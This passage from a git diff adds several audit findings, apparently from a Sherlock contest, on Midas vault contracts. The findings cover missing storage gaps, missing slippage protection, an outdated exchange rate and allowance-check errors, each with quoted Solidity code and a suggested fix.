+Therefore, as an example, the `DepositVault` contract storage gap should be of size 47: `uint256[47] private __gap;`.
\ No newline at end of file
diff --git a/005/143.md b/005/143.md
new file mode 100644
index 0000000..e71c71e
--- /dev/null
+++ b/005/143.md
@@ -0,0 +1,62 @@
+Tricky Rose Hedgehog
+
+Medium
+
+# [Medium] Corruptible Upgradability Pattern
+
+## Summary
+
+Storage of DepositVault/RedemptionVault/mBasis vaults/EUsd vaults contracts may be corrupted during an upgrade
+
+## Vulnerability Detail
+
+The following graph represents the inheritance of Midas's contracts. Green background means no gap slots left, orange background means that there were gap slots left. The text below the contracts' names is the storage variable defined in the contract.
+
+```mermaid
+graph BT;
+ classDef nogap fill:orange;
+ classDef hasgap fill:green;
+ DepositVault:::hasgap-->ManageableVault:::hasgap
+ RedemptionVault:::hasgap-->ManageableVault:::hasgap
+ ManageableVault:::hasgap-->Pausable(Pausable
fnPaused):::nogap
+ ManageableVault:::hasgap-->Blacklistable:::nogap
+ ManageableVault:::hasgap-->Greenlistable(Greenlistable
greenlistEnabled):::nogap
+ ManageableVault:::hasgap-->WithSanctionsList(WithSanctionsList
sanctionsList):::nogap
+ WithSanctionsList:::nogap-->WithMidasAccessControl:::hasgap
+ Greenlistable:::nogap-->WithMidasAccessControl:::hasgap
+ Blacklistable:::nogap-->WithMidasAccessControl:::hasgap
+ Pausable:::nogap-->WithMidasAccessControl:::hasgap
+ EUsdDepositVault:::hasgap-->DepositVault:::hasgap
+ MBasisDepositVault:::hasgap-->DepositVault:::hasgap
+ RedemptionVaultWithBUIDL:::hasgap-->RedemptionVault:::hasgap
+ MBasisRedemptionVaultWithBUIDL:::hasgap-->RedemptionVaultWithBUIDL:::hasgap
+ MBasisRedemptionVault:::hasgap-->RedemptionVault:::hasgap
+ EUsdRedemptionVaultWithBUIDL:::hasgap-->RedemptionVaultWithBUIDL:::hasgap
+ MBasisRedemptionVaultWithSwapper:::hasgap-->MBasisRedemptionVault:::hasgap
+```
+
+DepositVault/RedemptionVault/mBasis vaults/EUsd vaults contracts are upgradeable but inherit contracts in a complex structure that are not upgrade-safe.
+
+There is a storage gap in DepositVault, RedemptionVault, ManageableVault, WithMidasAccessControl, EUsdDepositVault MBasisDepositVault, RedemptionVaultWithBUIDL, MBasisRedemptionVaultWithBUIDL, MBasisRedemptionVault, EUsdRedemptionVaultWithBUIDL, MBasisRedemptionVaultWithSwapper.
+
+No storage gap is defined in Pausable, Greenlistable, WithSanctionsList, which also have defined variables and should have storage gaps defined as well.
+
+Since this is a complex inheritance structure, having no gaps in the mentioned contracts can lead to overwriting the beginning of the storage layout of a child contract when adding new storage variables to the above-mentioned contracts.
+
+## Impact
+
+Storage of DepositVault/RedemptionVault/mBasis vaults/EUsd vaults contracts may be corrupted during an upgrade
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/access/Greenlistable.sol#L22
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/WithSanctionsList.sol#L18
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/access/Pausable.sol#L14
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Add gaps in Pausable, Greenlistable, WithSanctionsList contracts.
\ No newline at end of file
diff --git a/006/017.md b/006/017.md
new file mode 100644
index 0000000..f114d49
--- /dev/null
+++ b/006/017.md
@@ -0,0 +1,51 @@
+Round Glass Tardigrade
+
+Medium
+
+# Missing Slippage Protection in Request Type of Deposit and Redeem
+
+### Summary
+
+The missing slippage check in `depositRequest` and `redeemRequest` can lead to losses for users, as provided tokens can be exchanged to mToken with unfavorable ratio.
+
+It should be noted that the Midas team consider following issue as invalid:
+_Fees and exchange rates: the fees/exchange rates that are evolving between the standard request, and the processing are not a bug._
+
+This bug is different than this exclusion. Described exchange rate difference happens before the `request` is created, not between request and approval.
+
+### Root Cause
+
+The [depositRequest](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L148) (`DepositVault`) and [redeemRequest](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L194) (`RedemptionVault`) was introduced as two-step process to allow token deposits and redeem after daily limit was reached. After user create deposit or redeem request, the `vaultAdmin` can approve or cancel request.
+
+
+There is some protection introduced in function `_requireVariationTolerance` and parameter `variationTolerance`. Protocol guarantees that exchange ratio difference on request creation and request approval cannot exceed provided `variationTolerance` limit.
+
+However, it should be noted that this protection acts only after request is created by user - so after `redeemRequest` and `depositRequest` functions are processed. There is still slippage problem within the time when user do the transaction for `redeemRequest` or `depositRequest` and the moment when these transactions are processed and included in block. Within this time exchange ratio can be dropped to the levels that are not acceptable for users.
+
+### Internal pre-conditions
+
+User needs to call `depositRequest` (`DepositVault`) and `redeemRequest` (`RedemptionVault`) - no other preconditions are required.
+
+### External pre-conditions
+
+1. Exchange ratio for mToken and USD should drop after user intimates transaction and transaction is included in block.
+
+### Attack Path
+
+1. User initiates redeem or deposit by calling `depositRequest` (`DepositVault`) or `redeemRequest` (`RedemptionVault`). User is expecting some exchange ratio.
+2. Before transaction is processed - the expected mToken/USD ratio is modified because of external factors (ratio is provided by oracle).
+3. In the `depositRequest` (`DepositVault`) or `redeemRequest` (`RedemptionVault`) - the request is saved with new modified ratio which is infavor to user.
+4. `vaultAdmin` processes the transaction, transaction pass internal checks for `variationTolerance`.
+5. user receives less tokens than expected, because initial ratio in the request was different that user expected.
+
+### Impact
+
+User suffer loss as his tokens are exchanged in unfavourable ratio.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Users should be able to set `minExchangeRatio` along with the invocation of `depositRequest` and `redeemRequest` to be protected against exchange ratio change.
\ No newline at end of file
diff --git a/006/019.md b/006/019.md
new file mode 100644
index 0000000..0735e9d
--- /dev/null
+++ b/006/019.md
@@ -0,0 +1,48 @@
+Round Glass Tardigrade
+
+Medium
+
+# Fee Modification Impacts Deposit and Redeem Requests
+
+### Summary
+
+User can pay unexpected fees during [depositRequest](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L148) (`DepositVault`) and [redeemRequest](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L194) (`RedemptionVault`).
+
+It should be noted that the Midas team consider following issue as invalid:
+
+_Fees and exchange rates: the fees/exchange rates that are evolving between the standard request, and the processing are not a bug._
+
+
+This bug is different than this exclusion. Described fee calculation happens before the `request` is created, not between request and approval.
+
+### Root Cause
+
+As [depositRequest](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L148) (`DepositVault`) and [redeemRequest](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L194) (`RedemptionVault`) are missing control over expected amount of tokens received back, it is possible that platform increase fee after user made a request, and fee modification will be included before user request. Currently, aforementioned functions have protection only for exchange ratio.
+
+### Internal pre-conditions
+
+1. Admin needs to increase fees. This can be typical operational behaviour, **not malicious admin**.
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+1. User tries to deposit tokens using [depositRequest](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L148). User is expecting 5% fee for deposit.
+2. In the meantime, protocol decides to update the fee amount to 10%.
+3. User has bad luck and his transaction lands after protocol fee increase.
+4. As a result user is charged 10% fee, not expected 5%.
+5. User pays unexpected cost. Current protection (`variationTolerance`) do not include fees.
+
+### Impact
+
+Users pay unexpected cost for deposit and redeem.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+As fee payment happens before request creation, user should provide argument with expected tokens to swap (amount without the fees).
\ No newline at end of file
diff --git a/006/035.md b/006/035.md
new file mode 100644
index 0000000..684c12e
--- /dev/null
+++ b/006/035.md
@@ -0,0 +1,46 @@
+Dancing Marmalade Chicken
+
+High
+
+# Users receive incorrect amount of token when redeeming
+
+### Summary
+
+`_approveRequest()` in RedemptionVault uses an outdated `tokenOutRate` from the time of the request this leads to users receiving either more or less funds than they should.
+
+### Root Cause
+
+In `_requestRedeem()` the `tokenOutRate` is saved in a `Request` struct. This rate is then used in `_approveRequest()` to calculate `amountTokenOutWithoutFee()`. see [L331](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVault.sol#L331-L333) in RedemptionVault:
+
+```solidity
+ uint256 amountTokenOutWithoutFee = _truncate(
+ (request.amountMToken * newMTokenRate) / request.tokenOutRate,
+
+```
+
+There is no new rate submitted as with `newMTokenRate` and there is no variation check on it.
+
+### Internal pre-conditions
+
+A user has to request redeem with `requestRedeem()` and the admin has to approve it with `_approveRequest()
+
+### External pre-conditions
+
+Any change in `tokenOutRate()` from the time the between the request and the approval will lead to either loss of funds for the user or loss of funds for the protocol.
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+If `tokenOutRate` has increased -> users receive less than they should
+If `tokenOutRate` has decreased -> user receive more than they should
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add a `newTokenOutRate` parameter to `_approveRequest()` and do a variation check if `isSafe ==true`
\ No newline at end of file
diff --git a/006/037.md b/006/037.md
new file mode 100644
index 0000000..9847f92
--- /dev/null
+++ b/006/037.md
@@ -0,0 +1,45 @@
+Dancing Marmalade Chicken
+
+Medium
+
+# Missing slippage on requestsDeposit and requestRedemption
+
+### Summary
+
+Missing slippage on `depositRequest()` will lead to depositing/redeeming users receiving un expected amount of funds when a request is approved.
+
+### Root Cause
+
+Deposit and redeem requests does not have any slippage control. The request can be approved at any token price with `approveReqeuest()` or at a pre-defined variance with `safeApproveRequest()`. User can not specify any such parameter, see [L194](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVault.sol#L194) and [L148](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L148-L151)
+
+Users are never able to set a `minAmount` when requesting redeeming/withdrawal and can therefore always at risk of receiving less than expected. Both due to price change but also due to price difference between oracle reported price and the actual price. Oracles are often allowed to differ 0.5%-2% from the actual price.
+
+### Internal pre-conditions
+
+It is never possible to set slippage when requesting
+
+### External pre-conditions
+
+Oracle price change or oracle that is not perfectly following the market rate.
+
+### Attack Path
+
+A numbered list of steps, talking through the attack path:
+
+1. User request redemption of `mToken` at t=1, with market value of 100 USD per token
+2. At t=2 `approveRequest()` is called, oracle currently reports 98 USD per token. With the actual market value being 99.5.
+3. User is forced to accepted these terms, both the valuation change and due to oracle not reflecting true value.
+
+We also should keep in mind that the admin can `aproveRequest()` which will bypass the variation check, with this the price can differ significantly from what it was when the request was made
+
+### Impact
+
+User's receive less tokens than expected. The most likely consequence is that users stop using the request feature because they can not specify the slippage.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add slippage parameter and refund users if not enough is received.
\ No newline at end of file
diff --git a/006/050.md b/006/050.md
new file mode 100644
index 0000000..a0c1af8
--- /dev/null
+++ b/006/050.md
@@ -0,0 +1,44 @@
+Decent Yellow Butterfly
+
+Medium
+
+# Lack of Slippage Protection in `_approveRequest()` functions of the `DepositVault` and the `RedemptionVault` contract.
+
+### Summary
+
+The lack of slippage protection in the `_approveRequest()` function of the [`DepositVault`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L303-L329) and [`RedemptionVault`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L313-L348) contracts could result in potential loss of funds for users.
+
+### Root Cause
+
+The `_approveRequest()` function of the `DepositVault` and `RedemptionVault` contracts does not have slippage protection.
+
+### Internal pre-conditions
+
+- In `DepositVault.sol#_approveRequest`, `newOutRate` must be greater than `request.tokenOutRate`.
+- In `RedemptionVault.sol#_approveRequest`, `newOutRate` must be less than `request.tokenOutRate`.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+The `_approveRequest()` function of the `DepositVault` and `RedemptionVault` contracts does not have slippage protection, which can cause users to potentially lose funds if an unacceptable slippage occurs.
+
+### Impact
+
+Loss of assets for the affected users.
+
+### PoC
+
+When a user calls the `depositRequest/redeemRequest` function, a request is created based on the current MToken oracle price.
+
+Additionally, the administrator calls the `approveRequest` function with the current MToken price.
+
+Here, `newOutRate` and `request.tokenOutRate` can increase or decrease at any time depending on the current on-chain conditions when a transaction occurs.
+
+As a result, unexpected slippage may occur, which may result in unacceptable loss of funds for the user.
+
+### Mitigation
+
+Implement a slippage control that allows the users to revert if the amount of the `tokenOut` they receives is smaller than the amount they expected.
\ No newline at end of file
diff --git a/006/089.md b/006/089.md
new file mode 100644
index 0000000..05bbe06
--- /dev/null
+++ b/006/089.md
@@ -0,0 +1,59 @@
+Winning Jetblack Salmon
+
+High
+
+# Outdated `tokenOutRate` used during admin fulfillment of a standard redemption request.
+
+## Summary
+
+During the fulfillment of a standard redemption request, two separate exchange rates are used to calculate the withdrawal amount.
+
+However, only one of them (`mTokenRate`) is updated by the admin when performing the fulfillment of a standard redemption request.
+
+Failing to update the `tokenOutRate` can lead to a loss of funds for the user or the protocol, depending on the price change of the redemption token that can occur between the time of when redemption request was made and its fulfillment.
+
+## Vulnerability Details
+
+In contrast to the `DepositVault`, where only one exchange rate is needed during the deposit request fulfillment, the `RedemptionVault` uses two exchange rates to calculate the withdrawal amount.
+
+This can be seen in the following piece of code:
+
+```solidity
+File: RedemptionVault.sol
+331: uint256 amountTokenOutWithoutFee = _truncate(
+332: (request.amountMToken * newMTokenRate) / request.tokenOutRate, // <== outdated tokenOutRate used
+333: tokenDecimals
+334: );
+```
+
+As shown, only the `mTokenRate` was updated, as `newMTokenRate` is used for calculations.
+
+The missing update of the `tokenOutRate` can lead to a loss of funds due to under- or over-redemption of the output token.
+
+Consider the following scenario:
+1. Alice requests a standard redemption of $100,000 worth of mTokens (mTBILL or mBASIS) into WBTC.
+2. There is a delay of a few hours between the redemption request and the fulfillment of the request.
+3. During that time, the `MTokenRate` does not change, but the price of WBTC increases by 10%.
+4. During the fulfillment, the admin provides the `newMTokenRate`, he can even use `safeApproveRequest()` since the redemption is within the `variation tolerance` of the mToken exchange rate. However, due to the use of the outdated `tokenOutRate`, the withdrawal amount is now 10% greater than the current valuation of the mToken/WBTC.
+
+As demonstrated, the protocol loses funds due to not updating the `tokenOutRate` during fulfillment.
+
+A similar loss can also occur for the user if the price of the output token drops between the time of the request and the redemption.
+
+## Impact
+
+Using an incorrect exchange rate during withdrawal amount calculation leads to fund losses for the protocol or the user.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L331-L334
+
+## Tools used
+
+Manual review.
+
+## Recommendations
+
+In addition to providing the `newMTokenRate` as a parameter for `_approveRequest()`, an additional `newTokenOutRate` parameter should be introduced, and similarly to the `safeApproveRequest()` and `approveRequest()` functions.
+
+In the case of `safeApproveRequest()`, the `newTokenOutRate` should also be validated for `variation tolerance`.
\ No newline at end of file
diff --git a/006/096.md b/006/096.md
new file mode 100644
index 0000000..4ae6e98
--- /dev/null
+++ b/006/096.md
@@ -0,0 +1,43 @@
+Brave Smoke Mustang
+
+Medium
+
+# Users suffer from loss of fund due to missing slippage when using `depositRequest()` to mint `mToken`.
+
+### Summary
+
+User calls `depositRequest()` to mint `mToken`. But there is not slippage check in `depositRequest()` and `approveRequest()`.
+
+### Root Cause
+
+miss slippage check in `depositRequest()` and `approveRequest()`.
+
+### Internal pre-conditions
+
+`newOutRate` of `_approveRequest()` is bigger than `mTokenRate` of `_convertUsdToMToken()`
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Users call [`DepositVault.sol#depositRequest()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L170-L178) to store mapping variable `mintRequests[currentId]`.
+At that time, `mToken1` amount is calculated by `mTokenRate`
+
+2. Next users call [`approveRequest()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L231) to mint `mToken` using mapping variable `mintRequests[currentId]`.
+At that time, `mToken2` amount is calculated by `newOutRate`.
+As a result, `mToken2` is smaller than `mToken1`.
+
+
+### Impact
+
+Users suffer from loss of fund due to missing slippage.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add slippage to `_approveRequest()`.
\ No newline at end of file
diff --git a/006/155.md b/006/155.md
new file mode 100644
index 0000000..5af3dd5
--- /dev/null
+++ b/006/155.md
@@ -0,0 +1,55 @@
+Wonderful Gunmetal Anteater
+
+Medium
+
+# Lack of Slippage Protection in `depositRequest` Leads to Unintended User Outcomes
+
+### Summary
+
+The `depositRequest` function lacks adequate slippage protection, potentially leading to unexpected outcomes for users, such as receiving fewer tokens than anticipated.
+
+### Root Cause
+
+
+* The `depositRequest` function relies solely on `_requireVariationTolerance` instead of using `minReceiveAmount` to protect users from slippage.
+
+* `_requireVariationTolerance` compares the rate at the time of the request (`request.tokenOutRate`) with the updated rate when the approve transaction is executed.
+
+* However, during the time a request transaction is in the mempool, rates can change, which `depositInstant` mitigates by using `minReceiveAmount` but `depositRequest` doesn't.
+
+
+### Internal pre-conditions
+
+1. One or more parameters used to calculate `mintAmount` change while the transaction is in the mempool.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+
+1. Alice submits a [`depositRequest`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L148) when the `mToken` price is `X` and `fees` are `Y`.
+
+2. While the transaction is in the mempool, the price of `mToken` increases to `X + dX`.
+
+3. Similarly, the fees increase to `Y + dY`.
+
+4. When Alice's transaction is executed, she is forced to pay higher fees.
+
+5. Upon `VaultAdmin` approval, her `mToken` amount is calculated based on parameters that changed after she submitted the transaction, leading to a lower-than-expected token minting.
+
+This scenario shows the need to protect users from unexpected slippage.
+
+
+### Impact
+
+Users may receive fewer `mTokens` than expected.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use `minReceiveAmount` in `depositRequest` function as well to protect users from unexpected outcomes.
\ No newline at end of file
diff --git a/007/034.md b/007/034.md
new file mode 100644
index 0000000..18818bf
--- /dev/null
+++ b/007/034.md
@@ -0,0 +1,133 @@
+Colossal Plastic Shark
+
+Medium
+
+# Protocol will fail to enforce proper token redemption limits, leading to potential over-redemptions by users.
+
+### Summary
+
+The missing check and update of the token operation allowance in the [RedemptionVault._approveRequest()](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L313-L348) when the admin fulfills the redemption request will allow users to redeem the payment token beyond its allowance by using the [RedemptionVault.redeemRequest()](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L194-L204).
+
+
+### Root Cause
+
+In [RedemptionVault._approveRequest()](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L313-L348), there is a missing call to [_requireAndUpdateAllowance()](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L492-L506) when the admin fulfills the token redemption request.
+
+[RedemptionVault._approveRequest()](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L313-L348)
+```solidity
+File: RedemptionVault.sol
+313: function _approveRequest(
+314: uint256 requestId,
+315: uint256 newMTokenRate,
+316: bool isSafe
+317: ) internal {
+---
+328: if (request.tokenOut != MANUAL_FULLFILMENT_TOKEN) {
+329: uint256 tokenDecimals = _tokenDecimals(request.tokenOut);
+330:
+331: uint256 amountTokenOutWithoutFee = _truncate(
+332: (request.amountMToken * newMTokenRate) / request.tokenOutRate,
+333: tokenDecimals
+334: );
+335:
+336: _tokenTransferFromTo(
+337: request.tokenOut,
+338: requestRedeemer,
+339: request.sender,
+340: amountTokenOutWithoutFee,
+341: tokenDecimals
+342: );
+343: }
+---
+348: }
+```
+
+[_requireAndUpdateAllowance()](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L493-L506)
+```solidity
+File: ManageableVault.sol
+493: * @dev check if operation exceed token allowance and update allowance
+494: * @param token address of token
+495: * @param amount operation amount (decimals 18)
+496: */
+497: function _requireAndUpdateAllowance(address token, uint256 amount)
+498: internal
+499: {
+500: uint256 prevAllowance = tokensConfig[token].allowance;
+501: if (prevAllowance == MAX_UINT) return;
+502:
+503: require(prevAllowance >= amount, "MV: exceed allowance"); //@audit 004
+504:
+505: tokensConfig[token].allowance -= amount;
+506: }
+```
+
+### Internal pre-conditions
+
+The token allowance configuration needs to be set to a specific amount (not `MAX_UINT`) by the admin, as the allowance will only be checked and updated if a specific amount is set. For tokens with an allowance set to `MAX_UINT`, the check and update will be bypassed.
+
+
+[_requireAndUpdateAllowance()](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L493-L506)
+```solidity
+File: ManageableVault.sol
+493: * @dev check if operation exceed token allowance and update allowance
+494: * @param token address of token
+495: * @param amount operation amount (decimals 18)
+496: */
+497: function _requireAndUpdateAllowance(address token, uint256 amount)
+498: internal
+499: {
+500: uint256 prevAllowance = tokensConfig[token].allowance;
+501: @> if (prevAllowance == MAX_UINT) return;
+502:
+503: require(prevAllowance >= amount, "MV: exceed allowance"); //@audit 004
+504:
+505: tokensConfig[token].allowance -= amount;
+506: }
+```
+
+### External pre-conditions
+
+The vulnerability allows any user who can call the [`RedemptionVault.redeemRequest()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L194-L204). The normal requirements for this function to be executed are as follows:
+
+1. Users need to hold `mToken`.
+2. The [`RedemptionVault.redeemRequest()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L194-L204) must not be paused.
+3. Users must not be blacklisted or sanctioned, and they must be on the green list (if enabled).
+
+### Impact
+
+- The protocol suffers an approximate loss of tokens due to the inability to enforce proper redemption limits.
+- The protocol cannot accurately enforce token allowance checks, causing over-redemptions by users.
+
+### Mitigation
+
+Apply the [_requireAndUpdateAllowance()](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L493-L506) function in the [RedemptionVault._approveRequest()](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L313-L348) to enforce proper allowance checks for payment token redemptions.
+
+```diff
+File: RedemptionVault.sol
+313: function _approveRequest(
+314: uint256 requestId,
+315: uint256 newMTokenRate,
+316: bool isSafe
+317: ) internal {
+---
+328: if (request.tokenOut != MANUAL_FULLFILMENT_TOKEN) {
+329: uint256 tokenDecimals = _tokenDecimals(request.tokenOut);
+330:
+331: uint256 amountTokenOutWithoutFee = _truncate(
+332: (request.amountMToken * newMTokenRate) / request.tokenOutRate,
+333: tokenDecimals
+334: );
+335:
++336: _requireAndUpdateAllowance(request.tokenOut, amountTokenOutWithoutFee);
+337:
+338: _tokenTransferFromTo(
+339: request.tokenOut,
+340: requestRedeemer,
+341: request.sender,
+342: amountTokenOutWithoutFee, //>18
+343: tokenDecimals
+344: );
+345: }
+---
+350: }
+```
\ No newline at end of file
diff --git a/007/039.md b/007/039.md
new file mode 100644
index 0000000..2e022b6
--- /dev/null
+++ b/007/039.md
@@ -0,0 +1,181 @@
+Colossal Plastic Shark
+
+Medium
+
+# Protocol will over-reserve token allowances, affecting users by potentially rejecting legitimate instant redemptions
+
+### Summary
+
+The update of [_requireAndUpdateAllowance(tokenOutCopy, amountTokenOut)](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L169) in the
+* [RedemptionVault.redeemInstant()](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L124-L189)
+* [RedemptionVaultWithBUIDL.redeemInstant()](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L86-L156)
+* [MBasisRedemptionVaultWithSwapper.redeemInstant()](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L88-L180)
+
+with the **entire** `amountTokenOut`, which includes the portion corresponding to the fee, even though the actual payment token out to the user is only `amountTokenOutWithoutFee`, will cause the protocol to reserve more `tokenOut` than is actually needed. This unnecessary allowance consumption could potentially lead to the rejection of subsequent operations that should have been allowed.
+
+
+### Root Cause
+
+The decision to check and update the token redemption allowance using `amountTokenOut` results in an overestimation, as seen in [RedemptionVault.redeemInstant()#L169](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L169) (as an example). The `amountTokenOut` used for the allowance operation includes the **entire** portion of the `mToken` being redeemed, including the fee.
+
+[RedemptionVault.redeemInstant()#L147-169](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L147-L169)
+```solidity
+File: RedemptionVault.sol
+124: function redeemInstant(
+125: address tokenOut,
+126: uint256 amountMTokenIn,
+127: uint256 minReceiveAmount
+128: )
+---
+146:
+147: uint256 amountMTokenInCopy = amountMTokenIn;
+148: address tokenOutCopy = tokenOut;
+149: uint256 minReceiveAmountCopy = minReceiveAmount;
+150:
+151: (uint256 amountMTokenInUsd, uint256 mTokenRate) = _convertMTokenToUsd(
+152:@> amountMTokenInCopy
+153: );
+154:@> (uint256 amountTokenOut, uint256 tokenOutRate) = _convertUsdToToken(
+155:@> amountMTokenInUsd,
+156: tokenOutCopy
+157: );
+---
+169:@> _requireAndUpdateAllowance(tokenOutCopy, amountTokenOut);
+---
+189: }
+
+```
+
+Since the redemption fee is paid by the `mToken` (`tokenIn`), tracking `amountTokenOut`, which includes the portion of the `mToken` with the fee, **does not reflect the actual amount to be operated for the payment token (`tokenOut`)**, as only `amountTokenOutWithoutFee` is redeemed to the user.
+
+[RedemptionVault.redeemInstant()#L159-180](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L159-L180)
+```solidity
+File: RedemptionVault.sol
+124: function redeemInstant(
+125: address tokenOut,
+126: uint256 amountMTokenIn,
+127: uint256 minReceiveAmount
+128: )
+---
+138: (
+139:@> uint256 feeAmount,
+140:@> uint256 amountMTokenWithoutFee
+141: ) = _calcAndValidateRedeem(user, tokenOut, amountMTokenIn, true, false);
+---
+159:@> uint256 amountTokenOutWithoutFee = _truncate(
+160:@> (amountMTokenWithoutFee * mTokenRate) / tokenOutRate,
+161: tokenDecimals
+162: );
+163:
+---
+170:
+171: mToken.burn(user, amountMTokenWithoutFee);
+172: if (feeAmount > 0)
+173:@> _tokenTransferFromUser(address(mToken), feeReceiver, feeAmount, 18);
+174:
+175: _tokenTransferToUser(
+176: tokenOutCopy,
+177: user,
+178:@> amountTokenOutWithoutFee,
+179: tokenDecimals
+180: );
+---
+189: }
+```
+
+Moreover, the [_requireAndUpdateAllowance()](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L492-L506) natspec describes that the `amount` input represents the amount of the operation. Therefore, the amount used for updating the allowance should reflect the actual amount being operated.
+
+[_requireAndUpdateAllowance(#L492-L506)](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L492-L506)
+```solidity
+File: ManageableVault.sol
+492: /**
+493: * @dev check if operation exceed token allowance and update allowance
+494: * @param token address of token
+495: * @param amount operation amount (decimals 18)
+496: */
+497: function _requireAndUpdateAllowance(address token, uint256 amount)
+498: internal
+499: {
+500: uint256 prevAllowance = tokensConfig[token].allowance;
+501: if (prevAllowance == MAX_UINT) return;
+502:
+503: require(prevAllowance >= amount, "MV: exceed allowance"); //@audit 004
+504:
+505: tokensConfig[token].allowance -= amount;
+506: }
+```
+
+
+### Internal pre-conditions
+
+The token allowance configuration needs to be set to a specific amount (not `MAX_UINT`) by the admin, as the allowance will only be checked and updated if a specific amount is set. For tokens with an allowance set to `MAX_UINT`, the check and update will be bypassed.
+
+[_requireAndUpdateAllowance()](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L493-L506)
+```solidity
+File: ManageableVault.sol
+493: * @dev check if operation exceed token allowance and update allowance
+494: * @param token address of token
+495: * @param amount operation amount (decimals 18)
+496: */
+497: function _requireAndUpdateAllowance(address token, uint256 amount)
+498: internal
+499: {
+500: uint256 prevAllowance = tokensConfig[token].allowance;
+501: @> if (prevAllowance == MAX_UINT) return;
+502:
+503: require(prevAllowance >= amount, "MV: exceed allowance"); //@audit 004
+504:
+505: tokensConfig[token].allowance -= amount;
+506: }
+```
+
+
+### External pre-conditions
+
